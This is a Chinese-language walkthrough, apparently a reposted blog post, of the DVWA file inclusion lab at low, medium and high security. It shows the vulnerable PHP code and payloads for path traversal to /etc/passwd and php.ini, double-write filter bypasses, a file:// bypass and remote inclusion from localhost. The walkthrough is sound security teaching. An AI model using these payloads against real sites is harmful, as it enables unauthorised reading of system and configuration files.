1.上源码: File Inclusion Source
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
?>
//由以上代码可知,传参的变量是page,格式为?page=xxxx
无任何过滤:
1.可以绝对路径
2.可以相对路径
3.可以远程
2.攻击演示: 本地:
1.相对路径:?page=file1.php //包含file1.php文件
?page=/var/www/html/dvwa/vulnerabilities/fi/file1.php //这个才是真正的绝对路径
2.相对路径:?file=file2.php //包含file2.php文件
3.相对路径:?page=file3.php //包含file3.php文件
4.绝对路径:?page=/etc/passwd //包含用户信息文件
5.绝对路径:?page=/etc/shells //包含shells文件
6.绝对路径:?page=/var/www/html/dvwa/php.ini //包含php.ini文件
7.相对路径:?page=../../../dvwa/php.ini //相对路径
8.相对路径:?page=./../../../dvwa/php.ini //相对路径
?page=/var/www/html/dvwa/php.ini //绝对路径
远程:
1. ?page=/var/www/html/fi/f1.txt //本地包含f1.txt文件
2. ?page=http://127.0.0.1/fi/f1.txt //远程包含f1.txt文件 (演示)
①在/var/www/html/目录下(也就是dvwa的根目录下)建立一个fi目录,并且在其下面创建一个f1.txt的文本文件
②为了演示远程文件包含,我们在这个个服务器上建立另一个站点fi,在fi下创建一个被包含的文本文件
③.注意:
allow_url_fopen = On
allow_url_include = On
两个配置选项均需要为On,才能远程包含文件成功。
在php.ini中,allow_url_fopen默认一直是On,而allow_url_include从php5.2之后就默认为Off。
1.上源码: Medium File Inclusion Source
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
$file = str_replace( array( "http://", "https://" ), "", $file );
$file = str_replace( array( "../", "..\"" ), "", $file );
?>
由源码可知,
①http://和https://被替换为空格(远程过滤)
②../和..\被替换为空格(相对路径被过滤)
2.攻击演示: 本地:
1.绝对路径:?page=/etc/passwd //没有被过滤
2.绝对路径:?page=/etc/shells //没有被过滤
3.绝对路径:?page=/var/www/html/dvwa/php.ini //没有被过滤
4.相对路径:?page=../../../dvwa/php.ini //被过滤
5.相对路径绕过:?page=..././..././..././dvwa/php.ini //双写绕过
//也就是在每个../前面添加一个. 以及后面添加一个./
远程:
1.远程文件包含:?page=http://127.0.0.1/fi/f1.txt //被过滤
2.远程双写绕过:?page=hhttp://ttp://127.0.0.1/fi/f1.txt //双写绕过
1.上源码: High File Inclusion Source
<?php
// The page we wish to display
$file = $_GET[ 'page' ];
// Input validation
if( !fnmatch( "file*", $file ) && $file != "include.php" ) {
// This isn't the page we want!
echo "ERROR: File not found!";
exit;
}
?>
如上源码所示:
1.匹配file协议,
2.同时匹配include.php即可。
1.绝对被过滤
2.相对被过滤
3.远程被过滤
4.只有使用file协议和include.php
2.攻击演示: 本地:
1.?page=..././..././..././dvwa/php.ini //被过滤
2.使用file协议匹配它,从而绕过fnmatch函数:?page=file:///var/www/html/dvwa/php.ini
//成功绕过
//必须allow_url_fopen和allow_url_include置为on
远程:
1.?page=hthttp://tp://127.0.0.1/fit/f1.txt //被过滤
本文为互联网自动采集或经作者授权后发布,本文观点不代表立场,若侵权下架请联系我们删帖处理!文章出自:https://blog.csdn.net/qq_45555226/article/details/103027802